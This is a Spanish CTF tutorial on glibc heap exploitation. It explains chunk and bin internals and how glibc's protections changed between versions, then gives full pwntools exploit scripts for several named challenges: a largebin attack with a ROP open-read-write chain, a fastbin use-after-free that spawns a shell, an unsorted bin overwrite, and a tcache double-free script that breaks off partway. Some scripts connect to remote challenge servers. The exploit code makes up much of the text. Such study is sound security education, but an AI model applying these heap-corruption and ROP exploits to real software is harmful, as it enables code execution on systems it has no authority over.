Plantilla Básica de PwnTools
La siguiente plantilla es un punto de partida para desarrollar exploits, configurando el entorno y las funciones auxiliares comunes para la interacción con el binario objetivo.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# Configuración del archivo y la librería libc
nombre_binario = "./pwn"
programa = ELF(nombre_binario)
ruta_libc = './' # o './libc.so.6' si se especifica
# Selección del entorno: 0 para local (process), 1 para remoto (remote)
modo_ejecucion = 0
if modo_ejecucion == 0:
p = process(nombre_binario)
libc = ELF(ruta_libc)
else:
p = remote('IP_REMOTO', PUERTO_REMOTO) # Reemplazar con la IP y puerto
libc = ELF(ruta_libc)
# Función para adjuntar GDB
def depurar():
gdb.attach(p)
# gdb.attach(p, 'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción simplificadas
enviar = lambda s: p.send(s)
enviar_linea = lambda s: p.sendline(s)
enviar_despues = lambda n, s: p.sendafter(n, s)
enviar_linea_despues = lambda n, s: p.sendlineafter(n, s)
recibir = lambda n: p.recv(n)
recibir_hasta = lambda s: p.recvuntil(s)
interactuar = lambda: p.interactive()
# --- Funciones específicas del desafío (Ejemplo) ---
# Se recomienda definir funciones que interactúen con el menú o las operaciones del programa.
# Ejemplo de funciones para un menú de "añadir", "borrar", "mostrar", "editar" un chunk.
def seleccionar_opcion(idx):
enviar_linea_despues('\n', str(idx))
def anadir_chunk(indice, tamano):
seleccionar_opcion(1)
enviar_linea_despues('', str(indice))
enviar_linea_despues('', str(tamano))
def borrar_chunk():
seleccionar_opcion(2)
def mostrar_chunk(indice):
seleccionar_opcion(3)
enviar_despues('\n', str(indice))
def editar_chunk(indice, contenido):
seleccionar_opcion(4)
enviar_despues("\n", str(indice))
enviar(contenido)
# Inicio de la interacción
interactuar()
Técnicas Comunes
El campo de fd_nextsize y bk_nextsize de los chunks en largebin puede ser utilizado para filtrar la dirección base del heap (heap_base).
Estructura de un Chunk
Un chunk es un bloque de memoria asignado por el gestor de memoria, conteniendo tanto metadatos como datos de usuario. La definición completa de malloc_chunk es la siguiente:
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Tamaño del chunk anterior (si está libre). */
INTERNAL_SIZE_T mchunk_size; /* Tamaño en bytes, incluyendo la sobrecarga. */
struct malloc_chunk* fd; /* Estos punteros solo existen en chunks libres */
struct malloc_chunk* bk;
/* Solo existen en large bin. */
struct malloc_chunk* fd_nextsize; /* Enlaces dobles -- usados solo si está libre. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
Los seis campos mencionados son metadatos.
Chunk Asignado (Allocated Chunk)
El primer campo, prev_size (4 bytes en 32 bits, 8 bytes en 64 bits), solo indica el tamaño del bloque anterior si este último está libre (no incluye los chunks en tcache). En caso contrario, este campo no es válido y puede ser utilizado por el chunk anterior para almacenar datos de usuario.
El "chunk anterior" se refiere al bloque adyacente en memoria, no al anterior en una lista de bloques libres. Lo mismo aplica para la bandera
PREV_INUSE.
Los bits más significativos del segundo campo almacenan el tamaño del chunk actual, mientras que los 3 bits menos significativos indican:
- P: 1 si el chunk anterior está asignado.
- M: 1 si el chunk actual fue obtenido mediante
mmap(). - N: 1 si el chunk actual reside en una
non_main_arena.
Algunas aclaraciones:
- ¿Dónde están los campos
fd,bk,fd_nextsize,bk_nextsize? Para un chunk asignado, estos campos no son necesarios y se utilizan para almacenar datos de usuario. - ¿Por qué los 3 bits menos significativos del tamaño no afectan el valor real?
mallocajusta el tamaño de memoria solicitado por el usuario para cumplir con requisitos de alineación (al menos 8 bytes) y para dejar espacio para la cabecera del chunk. Debido a la alineación, los 3 bits menos significativos siempre serán cero y pueden usarse para banderas. Para obtener el tamaño real, se ignoran estos bits:
/*
Bits a enmascarar al extraer el tamaño
Nota: IS_MMAPPED no se enmascara intencionadamente del campo de tamaño en
macros para las cuales los chunks mmapeados nunca deberían ser vistos. Esto debería
causar volcados de memoria útiles si es intentado por accidente por
personas que extienden o adaptan este malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Obtener el tamaño, ignorando los bits de uso */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
- ¿Qué es el puntero
mem? Este es el puntero quemallocdevuelve al usuario. El chunk real comienza desde el punterochunk.
/* El tamaño de palabra correspondiente */
#define SIZE_SZ (sizeof(INTERNAL_SIZE_T))
/* Conversión de cabeceras malloc a punteros de usuario, y viceversa */
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
- ¿El tamaño de memoria solicitado es igual al tamaño disponible para el usuario? No necesariamente, debido a la alineación de bytes. Para obtener el tamaño de memoria utilizable, se puede usar
malloc_usable_size(), cuya función central es:
static size_t
musable (void *mem)
{
mchunkptr p;
if (mem != 0)
{
p = mem2chunk (mem);
if (__builtin_expect (using_malloc_checking == 1, 0))
return malloc_check_get_size (p);
if (chunk_is_mmapped (p))
return chunksize (p) - 2 * SIZE_SZ;
else if (inuse (p))
return chunksize (p) - SIZE_SZ;
}
return 0;
}
Chunk Libre (Free Chunk)
En un chunk libre, prev_size siempre almacena datos de usuario del bloque anterior, ya que el chunk precedente debe estar asignado; de lo contrario, se fusionaría con el chunk libre. Además, los campos fd y bk actúan como punteros a los chunks libres anterior y siguiente dentro del mismo bin, respectivamente. Para los chunks libres en large bins, fd_nextsize y bk_nextsize también se activan, apuntando al chunk libre anterior (más grande) y posterior (más pequeño) en la misma categoría de large bin.
Top Chunk
El top chunk es un bloque especial en la parte superior de un arena, no pertenece a ningún bin. Cuando ningún bin contiene un chunk disponible para satisfacer una solicitud de memoria, el top chunk se divide. Si el top chunk tiane un tamaño N y se solicitan K bytes, se divide en:
- Un chunk de
Kbytes, asignado al usuario. - Un chunk de
N-Kbytes, que se convierte en el nuevotop chunk.
Si el top chunk es insuficiente:
- En
main_arena, se expande usandobrk(). - En
non_main_arena, se asigna un nuevo heap usandommap().
Nota: El bit
PREV_INUSEdeltop chunksiempre es 1.
Last Remainder Chunk
Cuando se solicita un chunk pequeño (K bytes) y no se encuentra en los small bins, pero el last remainder chunk (de tamaño N) es suficiente, este se divide en:
- Un chunk de
Kbytes, asignado al usuario. - Un chunk de
N-Kbytes, que se convierte en el nuevolast remainder chunk.
Su existencia promueve la localidad, ya que las solicitudes consecutivas de poca memoria tienden a recibir bloques adyacentes.
Estructura de Bins
Fastbins
Los fastbins son listas simples de chunks de tamaños fijos, gestionadas de forma LIFO (Last-In, First-Out). Están diseñados para asignaciones y liberaciones rápidas de memoria, sin fusionar chunks adyacentes.
Small Bins
Los small bins consisten en 62 listas doblemente enlazadas y circulares, donde cada lista contiene chunks de un tamaño uniforme. Por ejemplo, en un sistema de 32 bits, el índice 2 puede corresponder a chunks de 16 bytes. Cada lista tiene un nodo de cabecera, lo que facilita la gestión. A diferencia de los fastbins, los small bins utilizan una política FIFO (First-In, First-Out) para la asignación de chunks. Un detalle importante es que los chunks de fastbin pueden ser reubicados en small bins bajo ciertas condiciones, lo cual se observa al analizar el código fuente.
Unsorted Bins
Los unsorted bins actúan como un área de espera para los chunks recién liberados que no pueden ir directamente a fastbins o tcache. Antes de ser asignados o movidos a small/large bins, los chunks pasan por aquí. Si una solicitud puede ser satisfecha por un chunk en el unsorted bin, este se divide y el remanente se reinserta.
Large Bins
Los large bins gestionan chunks de mayor tamaño y son los más complejos. Tienen dos tipos de enlaces: fd_nextsize y bk_nextsize para enlaces horizontales (por tamaño), y fd y bk para enlaces verticales (por tiempo de liberación). La lista horizontal está ordenada por tamaño de chunk, con el chunk más grande apuntando al más pequeño y viceversa. La inserción en large bins sigue estas reglas:
- Ordenación por tamaño, de mayor a menor.
- Si los tamaños son iguales, se ordenan por tiempo de liberación.
- En grupos de chunks del mismo tamaño, solo el primer chunk tiene
fd_nextsizeybk_nextsizeapuntando a otros chunks; los demás tienen estos punteros a cero. - El
bk_nextsizedel chunk más grande apunta al más pequeño, y elfd_nextsizedel más pequeño apunta al más grande.
Tcache Bins
Introducidos en GLIBC 2.26, los tcache bins son una forma de caché por hilo, similar a fastbins pero con mayor prioridad y un rango de tamaño ampliado (hasta 0x410 bytes). Cada cadena de tcache puede contener hasta 7 chunks. Cuando un chunk se libera, primero intenta ir a tcache; si la cadena correspondiente está llena, se redirige a fastbin o unsorted bin. Los tcache bins son la primera opción para asignaciones. Un chunk adyacente al top chunk y liberado, se fusionará con él en lugar de ir a tcache.
Para obtener un chunk en el unsorted bin a pesar de tcache:
- Liberar un chunk de
largebin, ya que no entra en tcache. - Llenar las cadenas de tcache liberando 7 chunks del mismo tamaño, luego liberar uno más para que vaya a unsorted bin.
- (Inaplicable a partir de GLIBC 2.31 debido a actualizaciones) Si hay una vulnerabilidad UAF, se puede provocar un double-free en tcache, haciendo que
nextapunte a sí mismo. Luego, solicitudes adicionales llevarán el contador de tcache a un valor negativo, interpretado como "lleno" debido a la comparación de tipos sin signo, forzando chunks al unsorted bin. - Manipular
tcache_pthread_structpara modificar el contador y engañar al gestor de memoria.
Evolución de los Mecanismos de Detección en glibc
La protección del heap en glibc ha evolucionado con cada versión, introduciendo nuevas verificaciones para mitigar exploits.
glibc 2.23
- Detección del bit de tamaño: Fastbin verifica el bit de tamaño, requiriendo falsificación de chunks para ataques (ej:
__malloc_hook - 0x23). - Double Free: Gestión muy laxa, permitiendo liberar el mismo chunk varias veces consecutivas sin problema.
glibc 2.27
- Introducción de tcache: Al no verificar el bit de tamaño ni el puntero
FD, la introducción de tcache facilita la asignación arbitraria de memoria si se filtra una dirección y se tiene UAF. - Double Free: Se reforzó la detección de UAF. Los exploits de UAF en fastbin de glibc 2.23 dejan de ser válidos. Se añadió detección de double-free en tcache (Ubuntu 4).
glibc 2.31
- Se verifica que el contador de tcache sea correcto, lo que significa que para realizar dos asignaciones consecutivas, deben existir dos chunks en tcache.
glibc 2.32
- Cifrado de punteros del heap (Safe-Linking): Solo afecta a tcache y fastbin. Los punteros se cifran con XOR.
- Verificación de alineación de direcciones tcache: Los punteros de tcache o fastbin deben terminar en 0 (en 64 bits), no en 8, impidiendo asignaciones arbitrarias a direcciones no alineadas.
glibc 2.35
- Eliminación del mecanismo de hooks: A partir de esta versión, los exploits de heap deben combinar técnicas de heap y stack (heap-stack combined), a menudo utilizando la estructura
_IO_FILE.
environ (Uso con heap para atacar la pila)
En Linux C, environ es una variable global que almacena las variables de entorno del sistema. Reside en libc, por lo que actúa como un puente entre la dirección de libc y la dirección de la pila.
Uso de environ:
Una vez que se encuentra la dirección de environ a través de libc, se puede filtrar el valor en esa dirección para obtener la dirección de las variables de entorno. Dado que las variables de entorno se guardan en la pila, con un offset adecuado, se puede obtener la dirección de cualquier variable en la pila.
Secuestro de tcache_perthread_struct
Esta estructura es el primer bloque del heap y se inicializa en el heap mediante la función tcache_init. Su tamaño es 0x250 (o 0x290 en versiones más recientes). Los primeros 0x40 bytes de la sección de datos contienen los contadores (counts), y el resto son estructuras de entrada (entries). Si se logra controlar este bloque, se puede controlar toda la estructura tcache.
Ataque Unsorted Bin
Cuando un chunk se retira del unsorted bin, la posición de bck->fd se sobrescribe con la dirección del propio unsorted bin.
/* eliminar de la lista no ordenada */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
En otras palabras, si controlamos el valor de bk, podemos escribir unsorted_chunks (av) en una dirección arbitraria. Esto se utiliza comúnmente para escribir un valor grande en global_max_fast, extendiendo el rango de fastbin, o incluso para provocar un desbordamiento de array en fastbinsY, logrando una escritura arbitraria.
Después de un ataque a unsorted bin, el chunk falso se enlaza al unsorted bin. Para que este chunk sea asignado, debe pasar las siguientes verificaciones:
-
Verificación de tamaño válido:``` if(__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0)) malloc_printerr ("malloc(): memory corruption");
-
El campo
bkdel chunkunsorted bindebe apuntar a una dirección escribible:``` /* eliminar de la lista no ordenada */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);Más adelante se explicará el método *House of Storm*, que es esencialmente un ataque `unsorted bin` combinado con un ataque `large bin` para realizar dos escrituras arbitrarias y falsificar el tamaño y `bk` de un chunk falso, permitiendo así su asignación. Sin embargo, a partir de `glibc-2.28`, se añadió la siguiente verificación, invalidando este método:/* eliminar de la lista no ordenada */ if(__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3");
Ataque Largebin
Introducción
- Efecto del ataque: Permite escribir direcciones del heap en direcciones arbitrarias, a menudo combinado con otras técnicas para obtener una shell.
- Condiciones: Capacidad de modificar
Large bin->bk_nextsize.
Principio
static void *
_int_malloc (mstate av, size_t bytes)
{
...
if (!checked_request2size (bytes, &nb))
{
__set_errno (ENOMEM);
return NULL;
}
...
for (;; )
{
int iters = 0;
// Si unsortedbin no está vacío
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
// victim es el primer chunk en unsortedbin
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);
...
/* victim es removido de unsortedbin */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
...
/* colocar chunk en bin */
// Determinar si el tamaño de victim pertenece a smallbin
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
// bck es el primer chunk en Largebin
bck = bin_at (av, victim_index);
// Cuando solo hay un chunk en Largebin, fwd apunta a la cabecera de la lista Largebin
fwd = bck->fd;
/* mantener large bins en orden */
// Si largebin no está vacío, mantener el orden (de menor a mayor)
//@48 if (fwd != bck)
{
/* O con el bit inuse para acelerar las comparaciones */
size |= PREV_INUSE;
/* si es más pequeño que el más pequeño, omitir el bucle de abajo */
assert (chunk_main_arena (bck->bk));
/*
chunksize_nomask(bck->bk) obtiene el tamaño del primer chunk en Largebin
size es el tamaño del primer chunk en unsortedbin
*/
//@58 if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
...
}
}
else
// Tratar victim como un chunk en largebin
victim->fd_nextsize = victim->bk_nextsize = victim;
}
// Insertar victim en la lista de bin correspondiente
//@77 mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
...
}
}
El fragmento de código anterior muestra las operaciones del sistema sobre el unsorted bin en función del tamaño de memoria solicitado. Si el Largebin no está vacío (línea 48) y el tamaño del bloque en el unsorted bin es parte del rango de Largebin y menor que el tamaño del bloque en Largebin, entonces el bloque del unsorted bin se enlaza a la lista de Largebin correspondiente (líneas 58 y 77) y se reajusta el orden.
La operación clave comienza en la línea 60: bck es el primer bloque en Largebin (llamémoslo chunk1), y victim es el primer bloque en unsorted bin (llamémoslo chunk2). Si el atacante ha modificado previamente chunk1->bk_nextsize = Target-0x20, la operación de enlace se traduce en:
fwd = chunk1;
bck = *(chunk1 + 0x18); // Cuando solo hay un bloque en Largebin, bck apunta a la cabecera de la lista Largebin
*(chunk2 + 0x20) = *(chunk1 + 0x10); // Cuando solo hay un bloque en Largebin, chunk2 + 0x20 apunta a la cabecera de la lista Largebin
*(chunk2 + 0x28) = *(*(chunk1 + 0x10) + 0x28); // chunk2 + 0x28 apunta a Target-0x20
*(*(chunk1 +0x10) + 0x28) = *(*(chunk2 + 0x28) + 0x20) = chunk2; // <=> *(Target-0x20+0x20) = chunk2;
El resultado es que la dirección apuntada por Target es sobrescrita con el contenido de chunk2. Este es el principio fundamental del ataque Largebin.
Ejemplo: magicbook (libc-2.35+orw)
Descripción: Un ejemplo para entender la aplicación del Largebin Attack en un escenario real, combinado con ret2csu y ORW (Open-Read-Write). Protecciones completas activas.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
nombre_binario = "./pwn"
e = ELF(nombre_binario)
p = process(nombre_binario)
ruta_libc = './libc.so.6'
modo_ejecucion = 0
if modo_ejecucion == 0:
p = process(nombre_binario)
libc = ELF(ruta_libc)
else:
# Cambiar a IP y puerto reales para remoto
p = remote('IP_REMOTO', PUERTO_REMOTO)
libc = ELF(ruta_libc)
def depurar():
gdb.attach(p)
# gdb.attach(p, 'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción
enviar = lambda s : p.send(s)
enviar_linea = lambda s : p.sendline(s)
enviar_despues = lambda n,s : p.sendafter(n,s)
enviar_linea_despues = lambda n,s : p.sendlineafter(n,s)
recibir = lambda n : p.recv(n)
recibir_linea = lambda : p.recvline()
recibir_hasta = lambda s : p.recvuntil(s)
recibir_todo = lambda : p.recvall()
interactuar = lambda : p.interactive()
u32_peq = lambda data : u32(data.ljust(4, b'\x00'))
u64_peq = lambda data : u64(data.ljust(8, b'\x00'))
# Funciones específicas del programa "magicbook"
def anadir(tamano):
p.sendlineafter('Your choice:','1')
p.sendlineafter('your book need?',str(tamano))
def liberar_con_mod(indice, caracter, mensaje):
p.sendlineafter('Your choice:','2')
p.sendlineafter('want to delete?',str(indice))
p.sendlineafter('being deleted?(y/n)','y')
p.sendlineafter('you want to write?',str(caracter))
p.sendafter('content: ',mensaje)
def liberar_sin_mod(indice):
p.sendlineafter('Your choice:','2')
p.sendlineafter('want to delete?',str(indice))
p.sendlineafter('being deleted?(y/n)','n')
def editar():
p.sendlineafter('Your choice:','3')
# Obtener PIE base
p.recvuntil(' gift: ')
pie_base = int(p.recv(14),16) - 0x4010
success('PIE Base ------> ' + hex(pie_base))
# Calcular direcciones importantes
contador_libros = 0x4050 + pie_base
direccion_ret = 0x101a + pie_base
pop_rdi_gadget = 0x0000000000001863 + pie_base # : pop rdi; ret;
pop_rsi_gadget = 0x0000000000001861 + pie_base # : pop rsi; pop r15; ret;
puts_plt_addr = pie_base + 0x1140
puts_got_addr = pie_base + 0x3F88
editar_libro_func = pie_base + 0x15e1
# Preparación para el Largebin Attack
anadir(0x450) #0
anadir(0x440) #1
anadir(0x440) #2
liberar_sin_mod(0)
anadir(0x498) #0 (tamaño 0x498) para forzarlo a large_bin
# Realizar Largebin Attack
# El payload sobrescribe el campo bk_nextsize del chunk 0 para apuntar a (book_count-0x20)
# Esto hará que en la siguiente asignación, el Largebin Attack sobrescriba la dirección de `book_count`
payload_bk_next = p64(direccion_ret) + p64(0) + p64(contador_libros - 0x20)
liberar_con_mod(2, 0, payload_bk_next) # Modificar bk_nextsize
# depurar() # Punto de depuración para observar el estado del heap
anadir(0x4f0) # Esto activa el Largebin Attack y sobrescribe la dirección deseada.
# Leak de libc base usando puts@GOT
editar()
recibir_hasta('down your story!')
payload_puts_leak = b'a'*0x28 + p64(pop_rdi_gadget) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(editar_libro_func)
enviar_linea(payload_puts_leak)
recibir_linea()
libc_base = u64_peq(recibir(6)) - libc.sym['puts']
success('Libc Base ------> ' + hex(libc_base))
recibir_hasta('down your story!')
# Leak de la dirección de la pila usando environ
pop_rdx_r12_gadget = libc_base + 0x000000000011f2e7 # : pop rdx; pop r12; ret;
pop_rax_gadget = libc_base + 0x0000000000045eb0 # : pop rax; ret;
syscall_gadget = libc_base + 0x0000000000091316 # : syscall; ret;
open_func_addr = libc_base + libc.sym['open']
environ_addr = libc_base + libc.sym['environ'] # Dirección de environ en libc
success('Environ ------> ' + hex(environ_addr))
read_func_addr = libc_base + libc.sym['read']
bss_addr = 0x4090 + pie_base # Dirección en .bss para almacenar datos
payload_environ_leak = b'a'*0x28 + p64(pop_rdi_gadget) + p64(environ_addr) + p64(puts_plt_addr) + p64(editar_libro_func)
enviar_linea(payload_environ_leak)
recibir_linea()
# La dirección de la pila es (environ_addr - 0x148 + 0x20) para el RSP dentro de la función edit
stack_addr = u64_peq(recibir(6)) - 0x148 + 0x20
success('Stack ------> ' + hex(stack_addr))
recibir_hasta('down your story!')
# Ataque ORW (Open-Read-Write) para leer la bandera
dir_bandera_en_pila = stack_addr + 0xb8 # Posición arbitraria para la cadena de la bandera en la pila
# ROP chain para ORW
rop_chain = b'a'*0x28
# open("./flag", 0)
rop_chain += p64(pop_rdi_gadget) + p64(dir_bandera_en_pila) # Poner dirección de "./flag" en RDI
rop_chain += p64(pop_rsi_gadget) + p64(0)*2 # Poner 0 en RSI (O_RDONLY) y R15 (dummy)
rop_chain += p64(open_func_addr) # Llamar a open()
# read(3, bss_addr, 0x30)
rop_chain += p64(pop_rdi_gadget) + p64(3) # Poner el FD (3) en RDI
rop_chain += p64(pop_rsi_gadget) + p64(bss_addr) + p64(0) # Poner bss_addr en RSI (buffer) y R15 (dummy)
rop_chain += p64(pop_rdx_r12_gadget) + p64(0x30) + p64(0) # Poner 0x30 en RDX (count) y R12 (dummy)
rop_chain += p64(read_func_addr) # Llamar a read()
# puts(bss_addr)
rop_chain += p64(pop_rdi_gadget) + p64(bss_addr) # Poner bss_addr en RDI (string)
rop_chain += p64(puts_plt_addr) # Llamar a puts()
# Escribir la cadena "./flag" después de la ROP chain
rop_chain += b'./flag\x00\x00'
# depurar() # Punto de depuración final antes de la interacción
enviar_linea(rop_chain)
interactuar()
Modificación de Valores en Memoria
wustctf2020_easyfast
Descripción: Desafío que implica falsificar un chunk en glibc 2.23 para modificar un puntero global y ejecutar una shell. La función sub_400896 verifica un valor en qword_602090, y si es 0, ejecuta /bin/sh.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
nombre_binario = "./pwn"
e = ELF(nombre_binario)
# p = process(nombre_binario) # Para ejecución local
p = remote('node5.buuoj.cn', 27541) # Para remoto (ajustar si es necesario)
# libc = ELF('./') # La libc no es estrictamente necesaria para este exploit
def depurar():
gdb.attach(p)
# gdb.attach(p,'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción simplificadas
enviar = lambda s: p.send(s)
enviar_linea = lambda s: p.sendline(s)
enviar_despues = lambda n, s: p.sendafter(n, s)
enviar_linea_despues = lambda n, s: p.sendlineafter(n, s)
recibir = lambda n: p.recv(n)
recibir_linea = lambda: p.recvline()
recibir_hasta = lambda s: p.recvuntil(s)
recibir_todo = lambda: p.recvall()
interactuar = lambda: p.interactive()
u32_peq = lambda data: u32(data.ljust(4, b'\x00'))
u64_peq = lambda data: u64(data.ljust(8, b'\x00'))
def seleccionar_opcion(idx):
enviar_linea_despues('choice>\n', str(idx))
def anadir_bloque(tamano):
seleccionar_opcion(1)
enviar_linea_despues('size>\n', str(tamano))
def borrar_bloque(idx):
seleccionar_opcion(2)
enviar_linea_despues('index>\n', str(idx))
def editar_bloque(idx, contenido):
seleccionar_opcion(3)
enviar_linea_despues('index>\n', str(idx))
enviar(contenido)
def llamar_system():
seleccionar_opcion(4)
# Dirección del puntero global a modificar para ejecutar system("/bin/sh")
# `qword_602090` en el binario, el exploit lo asume en `0x602090`
DIRECCION_OBJETIVO = 0x602090
# Falsificar chunk para fastbin attack
# El objetivo es modificar la dirección en `0x602090` a 0 para que `system("/bin/sh")` se ejecute.
# La dirección `0x602080` es `qword_602090 - 0x10`, que es donde iría el campo `fd` si falsificáramos un chunk de tamaño 0x40.
DIRECCION_FALSA_CHUNK = 0x602080
anadir_bloque(0x40) # Crear un chunk de tamaño 0x40 (entra en fastbin)
borrar_bloque(0) # Liberar el chunk. Va a fastbin.
# Ahora el puntero `fd` del chunk liberado (que está en `chunk_ptr[0]`) apunta a sí mismo.
# Usar Use-After-Free (UAF) para modificar el puntero `fd` del chunk liberado
# Queremos que el `fd` de este chunk (0x40) apunte a `DIRECCION_FALSA_CHUNK`
editar_bloque(0, p64(DIRECCION_FALSA_CHUNK)) # Modificar `fd` en el fastbin
# Asignar dos chunks de 0x40
# La primera asignación devuelve el chunk original (apunta a DIRECCION_FALSA_CHUNK)
anadir_bloque(0x40)
# La segunda asignación devuelve un chunk cuya "dirección" es DIRECCION_FALSA_CHUNK
anadir_bloque(0x40) # Ahora `chunk_ptr[2]` apunta a `DIRECCION_FALSA_CHUNK`.
# Usar el nuevo chunk (en `chunk_ptr[2]`) para escribir 0 en `DIRECCION_OBJETIVO`
# `DIRECCION_OBJETIVO` es `DIRECCION_FALSA_CHUNK + 0x10` (campo del usuario)
editar_bloque(2, p64(0)) # Escribir 0 en `qword_602090`
# Llamar a la función que ejecuta system("/bin/sh")
llamar_system()
interactuar()
hitcontraining_magicheap
Descripción: Desafío que utiliza un ataque a unsorted bin en glibc 2.23 para modificar una variable global (magic) y acceder a una función de backdoor.
from pwn import *
# r = process('./pwn') # Para ejecución local
r = remote('node5.buuoj.cn', 28360) # Para remoto (ajustar si es necesario)
def crear_heap(tamano, contenido):
r.sendlineafter('Your choice :','1')
r.sendlineafter('Size of Heap :',str(tamano))
r.sendlineafter('Content of heap:',contenido)
def editar_heap(idx, tamano, contenido):
r.sendlineafter('Your choice :','2')
r.sendlineafter('Index :',str(idx))
r.sendlineafter('Size of Heap :',str(tamano))
r.sendlineafter('Content of heap :',contenido)
def borrar_heap(idx):
r.sendlineafter('Your choice :','3')
r.sendlineafter('Index :',str(idx))
# Dirección de la variable global 'magic' que necesitamos cambiar
DIRECCION_MAGIC = 0x06020A0
# Crear chunks iniciales
crear_heap(0x30,'aaaa') # chunk 0: Usado para desbordamiento y falsificación
crear_heap(0x80,'bbbb') # chunk 1: Será liberado y manipulado
crear_heap(0x10,'cccc') # chunk 2: Impide la fusión del chunk 1 con el top chunk
# depurar() # Punto de depuración
borrar_heap(1) # Liberar chunk 1 (tamaño 0x80). Entra al unsorted bin.
# Desbordamiento de chunk 0 para falsificar la cabecera del chunk 1 en el unsorted bin.
# El objetivo es que el campo `bk` del chunk 1 apunte a `DIRECCION_MAGIC - 0x10`
# Cuando el chunk 1 se reasigne, `unsorted_chunks(av)->bk = bck` se convierte en
# `unsorted_chunks(av)->bk = (DIRECCION_MAGIC - 0x10)`
# Y `bck->fd = unsorted_chunks(av)` se convierte en
# `*(DIRECCION_MAGIC - 0x10 + 0x10) = unsorted_chunks(av)`
# Lo que significa `*DIRECCION_MAGIC = unsorted_chunks(av)`.
# El valor de `unsorted_chunks(av)` es una dirección en `libc`, un valor grande que satisface la condición `magic > 0x1305`.
editar_heap(0, 0x50, b"a"*0x30 + p64(0) + p64(0x91) + p64(0) + p64(DIRECCION_MAGIC - 0x10))
# Asignar un chunk. Esto causará que el chunk 1 (con su `bk` falsificado) sea procesado
# y `DIRECCION_MAGIC` sea sobrescrito.
crear_heap(0x80,'dddd')
# depurar() # Punto de depuración para ver el valor de `magic`
# Llamar a la opción que verifica `magic`
r.sendlineafter('Your choice :','4869')
r.interactive()
Double Free
El "double free" ocurre cuando se libera dos veces el mismo bloque de memoria. Esto puede corrromper las listas de bloques libres del gestor de memoria, permitiendo a un atacante controlar la asignación de memoria. En glibc, las versiones posteriores a la 2.27 introdujeron punteros de verificación (key) para mitigar esta vulnerabilidad.
gundam (libc-2.26)
Descripción: Un ejemplo clásico de double free en glibc 2.26, aprovechando la falta de verificación en tcache para sobrescribir __free_hook.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
nombre_binario = "./pwn"
e = ELF(nombre_binario)
# p = process(nombre_binario) # Para ejecución local
ruta_libc = './libc.so.6'
modo_ejecucion = 1 # 0 para local, 1 para remoto
if modo_ejecucion == 0:
p = process(nombre_binario)
libc = ELF(ruta_libc)
else:
p = remote('node5.buuoj.cn', 26569) # Ajustar para remoto
libc = ELF(ruta_libc)
def depurar():
gdb.attach(p)
# gdb.attach(p,'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción (simplificadas)
enviar = lambda s: p.send(s)
enviar_linea = lambda s: p.sendline(s)
enviar_despues = lambda n,s: p.sendafter(n,s)
enviar_linea_despues = lambda n,s: p.sendlineafter(n,s)
recibir = lambda n: p.recv(n)
recibir_linea = lambda: p.recvline()
recibir_hasta = lambda s: p.recvuntil(s)
recibir_todo = lambda: p.recvall()
interactuar = lambda: p.interactive()
u32_peq = lambda data: u32(data.ljust(4, b'\x00'))
u64_peq = lambda data: u64(data.ljust(8, b'\x00'))
# Funciones específicas del programa "gundam"
def construir(nombre):
enviar_despues("Your choice : ", '1')
enviar_despues("The name of gundam :", nombre)
enviar_linea_despues("The type of the gundam :", '1')
def visitar():
enviar_despues("Your choice : ", '2')
def destruir(idx):
enviar_despues("Your choice : ", '3')
enviar_linea_despues("Which gundam do you want to Destory:", str(idx))
def salir():
enviar_despues("Your choice : ", '5')
def volar():
enviar_despues("Your choice : ", '4')
# Llenar el tcache
for i in range(9):
construir(b'a')
# Liberar los chunks para que entren en tcache
for i in range(9):
destruir(i)
# La función volar() parece limpiar los tcache bins y llenar los fastbins/unsorted bins.
# En este caso, asegura que los chunks estén disponibles para el siguiente paso.
volar()
# Reconstruir algunos chunks para tener control sobre ellos y para un leak.
# El tamaño de estos chunks es 0x30.
for i in range(9):
construir(b'a'*8)
# Filtrar la dirección base de libc
visitar()
recibir_hasta('Gundam[7] :aaaaaaaa')
# En la libc 2.26, un chunk liberado de 0x30 bytes en tcache contiene un puntero a libc.
# Aquí, se asume que el chunk 7 fue liberado y reasignado, y su contenido actual es un puntero a libc.
# Se ajusta el offset a la dirección base de libc.
libc_base_leak = u64_peq(recibir(6)) - 0x3dac78 # Offset específico para esta versión de libc
print('libc_base:', hex(libc_base_leak))
# Calcular direcciones importantes en libc
free_hook_addr = libc_base_leak + libc.symbols['__free_hook']
system_addr = libc_base_leak + libc.symbols['system']
# depurar() # Punto de depuración antes del double free
